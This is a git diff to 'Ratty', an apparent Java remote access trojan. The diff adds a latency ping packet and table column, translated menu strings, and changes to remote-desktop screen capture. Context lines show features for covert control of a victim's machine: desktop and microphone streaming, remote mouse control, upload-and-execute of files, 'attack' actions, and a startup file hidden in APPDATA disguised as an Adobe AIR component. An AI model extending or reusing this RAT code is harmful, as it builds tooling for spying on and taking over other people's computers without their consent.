diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index 5469669..fe7faed 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -34,6 +34,7 @@ action.execute=Execute file action.delete=Delete file action.new_directory=Create new directory action.upload_execute=Upload and execute file +action.change_volume=Change ping volume column.name=Name column.location=Location @@ -41,4 +42,5 @@ column.address=IP address column.os=Operating system column.version=Version column.desktop=Streaming desktop -column.voice=Streaming voice \ No newline at end of file +column.voice=Streaming voice +column.ping=Ping \ No newline at end of file diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index 0808a83..890e14f 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -34,6 +34,7 @@ action.execute=Datei ausf action.delete=Datei löschen action.new_directory=Neuen Ordner erstellen action.upload_execute=Datei hochladen und ausführen +action.change_volume=Pinglautstärke ändern column.name=Name column.location=Ort @@ -41,4 +42,5 @@ column.address=IP-Adresse column.os=Betriebssystem column.version=Version column.desktop=Desktopstream -column.voice=Mikrofonstream \ No newline at end of file +column.voice=Mikrofonstream +column.ping=Ping \ No newline at end of file diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index 5469669..fe7faed 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -34,6 +34,7 @@ action.execute=Execute file action.delete=Delete file action.new_directory=Create new directory action.upload_execute=Upload and execute file +action.change_volume=Change ping volume column.name=Name column.location=Location @@ -41,4 +42,5 @@ column.address=IP address column.os=Operating system column.version=Version column.desktop=Streaming desktop -column.voice=Streaming voice \ No newline at end of file +column.voice=Streaming voice +column.ping=Ping \ No newline at end of file diff --git a/Ratty/res/language/lang_ru.properties b/Ratty/res/language/lang_ru.properties index 4998445..8b3f689 100644 --- a/Ratty/res/language/lang_ru.properties +++ b/Ratty/res/language/lang_ru.properties @@ -31,6 +31,7 @@ action.upload=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0444\u043 action.execute=\u0417\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u044C \u0444\u0430\u0439\u043B action.delete=\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0444\u0430\u0439\u043B action.new_directory=\u0421\u043E\u0437\u0434\u0430\u0442\u044C \u043D\u043E\u0432\u0443\u044E \u043F\u0430\u043F\u043A\u0443 +action.upload_execute=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0438 \u0432\u044B\u043F\u043E\u043B\u043D\u0438\u0442\u044C column.name=\u0418\u043C\u044F column.location=\u041C\u0435\u0441\u0442\u043E\u043D\u0430\u0445\u043E\u0436\u0434\u0435\u043D\u0438\u0435 diff --git a/Ratty/res/language/lang_uk.properties b/Ratty/res/language/lang_uk.properties index c859769..30e4ec9 100644 --- a/Ratty/res/language/lang_uk.properties +++ b/Ratty/res/language/lang_uk.properties @@ -31,6 +31,7 @@ action.upload=\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438 action.execute=\u0417\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u0438 \u0444\u0430\u0439\u043B action.delete=\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u0444\u0430\u0439\u043B action.new_directory=\u0421\u0442\u0432\u043E\u0440\u0438\u0442\u0438 \u043D\u043E\u0432\u0438\u0439 \u043A\u0430\u0442\u0430\u043B\u043E\u0433 +action.upload_execute=\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438 \u0456 \u0432\u0438\u043A\u043E\u043D\u0430\u0442\u0438 column.name=\u0406\u043C'\u044F column.location=\u041C\u0456\u0441\u0446\u0435\u0437\u043D\u0430\u0445\u043E\u0434\u0436\u0435\u043D\u043D\u044F diff --git a/Ratty/src/de/sogomn/rat/GUISettings.java b/Ratty/src/de/sogomn/rat/GUISettings.java index 25061a8..47e227e 100644 --- a/Ratty/src/de/sogomn/rat/GUISettings.java +++ b/Ratty/src/de/sogomn/rat/GUISettings.java @@ -87,6 +87,7 @@ final class GUISettings { } public static void setDefaults(final UIDefaults defaults) { + defaults.put("nimbusBase", BASE); defaults.put("control", BACKGROUND); defaults.put("MenuBar[Enabled].backgroundPainter", BASE_PAINTER); @@ -127,13 +128,13 @@ final class GUISettings { defaults.put("TableHeader:\"TableHeader.renderer\"[Enabled+Focused].backgroundPainter", BASE_PAINTER); defaults.put("TableHeader:\"TableHeader.renderer\"[Enabled+Focused+Sorted].backgroundPainter", BASE_PAINTER); - defaults.put("ScrollBar:ScrollBarTrack[Enabled].backgroundPainter", DARKER_PAINTER); - defaults.put("ScrollBar:ScrollBarThumb[Enabled].backgroundPainter", BASE_PAINTER); - defaults.put("ScrollBar:ScrollBarThumb[MouseOver].backgroundPainter", BRIGHTER_PAINTER); - defaults.put("ScrollBar:ScrollBarThumb[Pressed].backgroundPainter", BASE_PAINTER); - defaults.put("ScrollBar:\"ScrollBar.button\"[Enabled].foregroundPainter", BASE_PAINTER); - defaults.put("ScrollBar:\"ScrollBar.button\"[MouseOver].foregroundPainter", BRIGHTER_PAINTER); - defaults.put("ScrollBar:\"ScrollBar.button\"[Pressed].foregroundPainter", BASE_PAINTER); +// defaults.put("ScrollBar:ScrollBarTrack[Enabled].backgroundPainter", DARKER_PAINTER); +// defaults.put("ScrollBar:ScrollBarThumb[Enabled].backgroundPainter", BASE_PAINTER); +// defaults.put("ScrollBar:ScrollBarThumb[MouseOver].backgroundPainter", BRIGHTER_PAINTER); +// defaults.put("ScrollBar:ScrollBarThumb[Pressed].backgroundPainter", BASE_PAINTER); +// defaults.put("ScrollBar:\"ScrollBar.button\"[Enabled].foregroundPainter", BASE_PAINTER); +// defaults.put("ScrollBar:\"ScrollBar.button\"[MouseOver].foregroundPainter", BRIGHTER_PAINTER); +// defaults.put("ScrollBar:\"ScrollBar.button\"[Pressed].foregroundPainter", BASE_PAINTER); defaults.put("PopupMenu[Enabled].backgroundPainter", BASE_PAINTER); defaults.put("MenuItem[MouseOver].backgroundPainter", SELECTION_PAINTER); diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index f6ca724..66ffc4d 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -23,14 +23,14 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.13"; + public static final String VERSION = "1.14"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; private static int port; private static boolean client; - private static final int CONNECTION_INTERVAL = 2500; + private static final int CONNECTION_INTERVAL = 5000; private static final int MAX_PORT = 65535; private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar"; diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java index 275abd7..26b55f4 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java @@ -1,5 +1,7 @@ package de.sogomn.rat.packet; +import java.awt.Dimension; +import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.util.ArrayList; import java.util.stream.Stream; @@ -89,6 +91,7 @@ public final class DesktopPacket extends AbstractPingPongPacket { @Override protected void executeRequest(final ActiveConnection connection) { final BufferedImage screenshot = FrameEncoder.captureScreen(); + final Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); if (deleteLastScreenshot == DELETE || lastScreenshot == null) { final IFrame frame = new IFrame(0, 0, screenshot); @@ -102,8 +105,8 @@ public final class DesktopPacket extends AbstractPingPongPacket { } type = DATA; - screenWidth = screenshot.getWidth(); - screenHeight = screenshot.getHeight(); + screenWidth = screenSize.width; + screenHeight = screenSize.height; lastScreenshot = screenshot; connection.addPacket(this); diff --git a/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java b/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java index 7b2107e..172dad8 100644 --- a/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java @@ -41,6 +41,8 @@ public final class MouseEventPacket implements IPacket { y = connection.readInt(); button = connection.readInt(); strokeType = connection.readByte(); + + System.out.println(x + " " + y); } @Override diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index fe84d39..05f9f83 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -22,7 +22,8 @@ public enum PacketType { MOUSE_EVENT(15, MouseEventPacket.class), VOICE(16, VoicePacket.class), WEBSITE(17, WebsitePacket.class), - AUDIO(18, AudioPacket.class); + AUDIO(18, AudioPacket.class), + PING(19, PingPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/PingPacket.java b/Ratty/src/de/sogomn/rat/packet/PingPacket.java new file mode 100644 index 0000000..d46d970 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/PingPacket.java @@ -0,0 +1,53 @@ +package de.sogomn.rat.packet; + +import de.sogomn.rat.ActiveConnection; + +public final class PingPacket extends AbstractPingPongPacket { + + private long milliseconds; + + public PingPacket() { + type = REQUEST; + } + + @Override + protected void sendRequest(final ActiveConnection connection) { + final long time = System.currentTimeMillis(); + + connection.writeLong(time); + } + + @Override + protected void sendData(final ActiveConnection connection) { + connection.writeLong(milliseconds); + } + + @Override + protected void receiveRequest(final ActiveConnection connection) { + final long time = connection.readLong(); + + milliseconds = System.currentTimeMillis() - time; + } + + @Override + protected void receiveData(final ActiveConnection connection) { + milliseconds = connection.readLong(); + } + + @Override + protected void executeRequest(final ActiveConnection connection) { + type = DATA; + + connection.addPacket(this); + } + + @Override + protected void executeData(final ActiveConnection connection) { + //... + } + + public long getMilliseconds() { + return milliseconds; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java index 21d4b82..173fed1 100644 --- a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java +++ b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java @@ -6,6 +6,7 @@ import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.IConnectionObserver; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; +import de.sogomn.rat.packet.PingPacket; public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver { @@ -18,10 +19,12 @@ public abstract class AbstractRattyController implements IServerObserver, IConne @Override public void connected(final ActiveServer server, final ActiveConnection connection) { final InformationPacket packet = new InformationPacket(); + final PingPacket ping = new PingPacket(); connection.setObserver(this); connection.start(); connection.addPacket(packet); + connection.addPacket(ping); connections.add(connection); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 77a1ada..d542f22 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -74,6 +74,7 @@ final class RattyGui extends AbstractListenerContainer { public static final String FREE = LANGUAGE.getString("action.free"); public static final String BUILD = LANGUAGE.getString("action.build"); public static final String ATTACK = LANGUAGE.getString("action.attack"); + public static final String CHANGE_VOLUME = LANGUAGE.getString("action.change_volume"); public static final String[] COMMANDS = { POPUP, @@ -107,8 +108,8 @@ final class RattyGui extends AbstractListenerContainer { addMenuItem(command, image); } - final Container container = frame.getContentPane(); - final MouseAdapter mouseAdapter = new MouseAdapter() { + final Container contentPane = frame.getContentPane(); + final MouseAdapter tableMouseAdapter = new MouseAdapter() { @Override public void mousePressed(final MouseEvent m) { final Point mousePoint = m.getPoint(); @@ -128,14 +129,14 @@ final class RattyGui extends AbstractListenerContainer { menuBar.add(attack); scrollPane.setBorder(null); table.setComponentPopupMenu(menu); - table.addMouseListener(mouseAdapter); + table.addMouseListener(tableMouseAdapter); table.setModel(tableModel); table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); table.setShowHorizontalLines(true); fileChooser.setCurrentDirectory(currentDirectory); - container.add(scrollPane, BorderLayout.CENTER); - container.add(menuBar, BorderLayout.SOUTH); + contentPane.add(scrollPane, BorderLayout.CENTER); + contentPane.add(menuBar, BorderLayout.SOUTH); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setPreferredSize(SIZE); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index ddcfa0a..771b117 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -23,6 +23,7 @@ import de.sogomn.rat.packet.FileRequestPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; +import de.sogomn.rat.packet.PingPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; @@ -386,6 +387,14 @@ public final class RattyGuiController extends AbstractRattyController implements sound.play(); } + private void handlePing(final ServerClient client, final PingPacket packet) { + final long milliseconds = packet.getMilliseconds(); + + client.setPing(milliseconds); + + gui.update(); + } + private boolean handlePacket(final ServerClient client, final IPacket packet) { final Class clazz = packet.getClass(); @@ -411,6 +420,10 @@ public final class RattyGuiController extends AbstractRattyController implements final VoicePacket voice = (VoicePacket)packet; handleVoicePacket(client, voice); + } else if (clazz == PingPacket.class) { + final PingPacket ping = (PingPacket)packet; + + handlePing(client, ping); } else { consumed = false; } @@ -436,7 +449,6 @@ public final class RattyGuiController extends AbstractRattyController implements client.addListener(this); gui.addRow(client); - notification.trigger(); PING.play(); } @@ -496,7 +508,10 @@ public final class RattyGuiController extends AbstractRattyController implements final IPacket packet = createPacket(client, command); if (packet != null) { + final PingPacket ping = new PingPacket(); + client.connection.addPacket(packet); + client.connection.addPacket(ping); } handleCommand(client, command); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 4da46c8..4de0bc4 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -8,6 +8,7 @@ final class ServerClient { private String name, location, os, version; private boolean streamingDesktop, streamingVoice; + private long ping; public final ActiveConnection connection; public final DisplayPanel displayPanel; @@ -52,6 +53,10 @@ final class ServerClient { this.streamingVoice = streamingVoice; } + public void setPing(final long ping) { + this.ping = ping; + } + public String getName() { return name; } @@ -84,4 +89,8 @@ final class ServerClient { return streamingVoice; } + public long getPing() { + return ping; + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index 628daf4..be29f7b 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -20,6 +20,7 @@ final class ServerClientTableModel extends AbstractTableModel { private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion); private static final Column STREAMING_DESKTOP = new Column(LANGUAGE.getString("column.desktop"), Boolean.class, ServerClient::isStreamingDesktop); private static final Column STREAMING_VOICE = new Column(LANGUAGE.getString("column.voice"), Boolean.class, ServerClient::isStreamingVoice); + private static final Column PING = new Column(LANGUAGE.getString("column.ping"), String.class, ServerClient::getPing); public ServerClientTableModel() { serverClients = new ArrayList(); @@ -32,6 +33,7 @@ final class ServerClientTableModel extends AbstractTableModel { addColumn(VERSION); addColumn(STREAMING_DESKTOP); addColumn(STREAMING_VOICE); + addColumn(PING); } public void addColumn(final Column column) { diff --git a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java index d096c34..627ed9e 100644 --- a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java +++ b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java @@ -18,13 +18,12 @@ import de.sogomn.engine.util.ImageUtils; public final class FrameEncoder { - private static final int SKIP = 5; + private static final int SKIP = 6; - private static final int CELLS_WIDE = 5; - private static final int CELLS_HIGH = 5; + private static final int CELLS_WIDE = 6; + private static final int CELLS_HIGH = 6; private static final IFrame[] EMPTY_ARRAY = new IFrame[0]; - private static final float CAPTURE_SCALING = 0.5f; - private static final int CURSOR_SIZE = 6; + private static final int CURSOR_SIZE = 8; private static final Stroke CURSOR_STROKE = new BasicStroke(2); private FrameEncoder() { @@ -48,17 +47,15 @@ public final class FrameEncoder { } public static BufferedImage captureScreen() { - BufferedImage image = takeScreenshot(); - image = ImageUtils.scaleImage(image, CAPTURE_SCALING); + final BufferedImage image = takeScreenshot(); if (image == null) { return null; } final Point mousePoint = MouseInfo.getPointerInfo().getLocation(); - final int mouseX = (int)((mousePoint.x - CURSOR_SIZE / 2) * CAPTURE_SCALING); - final int mouseY = (int)((mousePoint.y - CURSOR_SIZE / 2) * CAPTURE_SCALING); - + final int mouseX = (int)(mousePoint.x - CURSOR_SIZE / 2); + final int mouseY = (int)(mousePoint.y - CURSOR_SIZE / 2); final Graphics2D g = image.createGraphics(); ImageUtils.applyHighGraphics(g);